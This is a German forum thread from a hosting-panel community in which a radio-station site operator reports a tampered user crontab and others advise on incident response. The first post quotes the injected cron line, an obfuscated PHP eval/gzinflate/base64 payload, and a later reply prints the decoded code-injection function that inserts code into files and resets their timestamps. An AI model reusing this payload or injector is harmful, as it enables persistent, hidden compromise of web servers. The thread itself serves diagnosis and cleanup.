Cronjob Datei war manipuliert

[RR_Tappi]

Hallo,
da ich vom angelegten Cronjob e-Mails auf Grund eines Fehlers bekam, bin ich der Sache natürlich umgehend nachgegangen.
Das ganze fing heute morgen gegen 5 Uhr an.

im Verezichnis var/spool/cron/crontabs liegt ja die Datei für den bzw. die Cronjobs und da habe ich gesehen das diese heute morgen um 4:47 Uhr bearbeitet wurde.

Der ursprüngliche Inhalt sah so aus:

Code: Select all

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Mon Feb 24 04:47:05 2025)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
#
# This config was generated by KeyHelp on 2025-02-04 02:10:06.
# System user: retterradio
#
SHELL=/bin/bash
TMPDIR=/home/users/retterradio/tmp/
# Radiostatistik
MAILTO="sendeleitung@retter-radio.de"
*/15 * * * * /opt/keyhelp/php/7.4/bin/php /home/users/retterradio/www/webseiten/radioseite/streamquery.php > /dev/null
# Radio-Songhistorie
MAILTO=""
*/5 * * * * /opt/keyhelp/php/7.4/bin/php /home/users/retterradio/www/webseiten/radioseite/stream_songhistorie.php
* * * * * /usr/bin/php -r 'eval(gzinflate(base64_decode("jVL7b9owEP6dvyKTkAJaNeVRoNVUbYzyHCEtlGCYJuQ4DjFxnDRxIDD1f5/Duw9ps+T4HN/33d13V4i8qBEy14KUOJDjkjx9ChWT8chc1mtoG+rGMiR9zVvZk/HKAQOKmLFCgaU4bWuDgpYPJzcrR3f0vu7QKRtQCIbUJre6rfd81OlRpBvivc7hpLK0O5Y/A+LetjhqZ57THqeo7a27yzxeM49XMe9D4gaWNp1kNqDrELQrCFHlGTS8/O6DUYR6rVv7caRCABLNtTgGLe78pJk9USuop66J8LFBw0Fdqnat1vARbBdr476pPT5Zx/+CK3NyLpDjG1Tg19FEva6BUVhzmUFMza8aS741l8bGJL36DMw8u7HwgTpojelM7ISNWsPxuHVzbdzXs4HfVHuqEpmbbg0+hVtTN6rGFlW7rIJBx3ieMSud6sPI1kQ9G85mYOgijaYzLaNAF5qBH8lUaOcGCjF15U4ufy24KUOchEx626ViguOy9KdQkMSiJOFSqeimlD5A7l1JxWSTcBw02UrYKHSwOCLIOY5ZWbqTUibQRFBtccmGCa5ezx2cu+1pRdyctZiEaYyw8HcJxfMF5nMUMo4ZT86xDr7ElUpRjBfzAHLklV7F39OU82ylw4oxT2O2h76cCD5dMhzSPeGFsXvByT+Y9rkThsI4xogP8QJnooaEx/MYRxQiMeJYlr5I8gruDipfSfL3bzCOd1e4kS8FPIrB8Hp01GOX55HsTSjBJZ+L/gB8mcixpF/K70OjRAYPnYd50+wL6/XzieTAev68E+9S/jPsf3TLWx1wEhzbvrMv2i19llRlD0sZJcx/Nwq7YYnSj4blgyJ4mOYJX3icogqPl8Jf")));'

Mir kam das gleich spanisch vor mit diesem base64 da drin. Ich habe also beide Cronjobs gelöscht und neu angelegt und siehe da, jetzt sieht es so aus:

Code: Select all

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/keyhelp/CronTab-67bc60e53ace21.46437900 installed on Mon Feb 24 13:07:01 2025)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
#
# This config was generated by KeyHelp on 2025-02-24 13:07:01.
# System user: retterradio
#

SHELL=/bin/bash
TMPDIR=/home/users/retterradio/tmp/

# Radio-Hörerstatistik
MAILTO="sendeleitung@retter-radio.de"
*/15 * * * * /opt/keyhelp/php/7.4/bin/php /home/users/retterradio/www/webseiten/radioseite/streamquery.php > /dev/null

# Radio-Songhistorie
MAILTO="sendeleitung@retter-radio.de"
*/5 * * * * /opt/keyhelp/php/7.4/bin/php /home/users/retterradio/www/webseiten/radioseite/stream_songhistorie.php > /dev/null 

Irgendwas oder Irgendjemand hat also die Datei heute morgen um 4:47 Uhr bearbeitet.

Frage: Kann es durch KeyHelp passiert sein?

Oder ist jemand in den Server eingedrungen

[Florian]

Hallo,

ja da kannst du davon ausgehen dass jemand über Websoftware mit Lücken das Zeug eingeschleust hat.

Ich würde auch mal die Webordner nach auffälligen Dateien prüfen und ob merkwürdige Prozesse auf dem Server laufen.

Solche Cronjobs dienen meist dazu, die Schadsoftware nachzuladen für den Fall, dass Sie gelöscht wird.

[RR_Tappi]

Hallo Florian,

ok danke dir

[24unix]

Das ist ziemlich übel.

Das ist der eingeschleuste Code:

Code: Select all

function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (preg_match($systemEnv, $source)) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }

    $incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
    $newSource = preg_replace($incorrectRegex, '', $source);
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);

    if (!preg_match($systemEnv, $newSource)) {
        return;
    }

    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}

Das Fazit von ChatGPT:

This is a serious security breach. If this script has run on your system, assume full compromise. You might need to restore from backups or completely reinstall the system to be sure it’s clean.

Füttere mal ChatGPT mit dem Code, der haut Dir 2-3 Seiten raus, mit Erklärung, und gegenmaßnahmen.

[Ralph]

Schau dir mal mal in den Event logs die Logins des users retterradio an ...
Vermutlich wurden die Login Details irgendwo abgefischt ... sehr wahrscheinlich aus einer Email mit Logindaten die der User in seinem Postfach aufbewahrt hat. Als erstes würde ich das PW für retterradio neu generieren "OHNE" dem User den neuen Login zu senden, eventl noch 2FA aktivieren.
Dann musst du mit dem User abklären ob der seine Login Mails in Mailboxen aufhebt und vor allem ob diese Mailbox eventl. gehackt wurde.
Die Zieladresse des Users kannst du auch mal hier überprüfen:
https://haveibeenpwned.com/
Erst neue Logins senden wenn das PW der Ziel Emailadresse in ein neues sicheres geändert wurde und der User sollte 2FA aktivieren.

Wenn KEINE Logins für den User "retterradio" auffindbar sind, ist es möglich dass jemand Zugriff auf das komplette System hat.
Die Admin logins sind ebenfalls in den Event logs einsehbar ... auch wann ein Cronjob über das Panel geändert wurde.
Login Emails (egal welche) NIEMALS in Mailboxen aufbewahren, und beim löschen auch den Papierkorb leeren.

Falls nichts zu finden ist, wurde der der cron job via SSH geändert ... das wäre dann sehr übel.

[Jolinar]

Wenn KEINE Logins für den User "retterradio" auffindbar sind, ist es möglich dass jemand Zugriff auf das komplette System hat.

Wenn in der Crontab geändert wurde, kannst du sogar ziemlich sicher davon ausgehen, daß das komplette System kompromittiert ist.
Ein Refreseh von Zugangsdaten dürfte in diesem Fall nicht ausreichend sein. Hier sollte tatsächlich ein Neuaufsetzen des Systems mit aktueller Software und nachfolgend dem Einspielen der Nutzerdaten aus dem letzten Backup das Mittel der Wahl sein.
Ein Image des bestehenden Systems sollte wenn möglich vorher auch noch angelegt werden, um es einer nähergehenden forensischen Analyse auf Schwachstellen zu unterziehen.

[Ralph]

Wenn in der Crontab geändert wurde, kannst du sogar ziemlich sicher davon ausgehen, daß das komplette System kompromittiert ist.

Nicht zwingend, da es sich hierbei um einen User cron job handelt ... sollte sich dann in Grenzen halten (user docroot) ...
allerdings wenn es einen KH Admin Login dazu gibt, dann ist mit Sicherheit davon auszugehen.
In dem Fall hätte der Angreifer aber eher einen root cron job bevorzugt

[Jolinar]

Nicht zwingend, da es sich hierbei um einen User cron job handelt

Da kannst du natürlich recht haben.

In dem Fall hätte der Angreifer aber eher einen root cron job bevorzugt

Nicht unbedingt...ein modifizierter root Cron fällt vermutlich eher auf als ein modifizierter user Cron.

Aber das ist nur spekulativ, die weitere Vorgehensweise muß root entscheiden.

[24unix]

Nicht unbedingt...ein modifizierter root Cron fällt vermutlich eher auf als ein modifizierter user Cron.

Aber im User-Cron brauchst Du eine privilege escalation, im system cron bekommt Du die frei Haus …

[Florian]

Hallo,

also aus meiner langjährigen Erfahrung beschränken sich solche Sachen auf den User. Das heißt das Zeug wurde per Web eingeschleust und auch der User Cronjob nur geändert. Auf root Ebene ist die Kompromittierung eher selten. man muss es aber natürlich genau prüfen.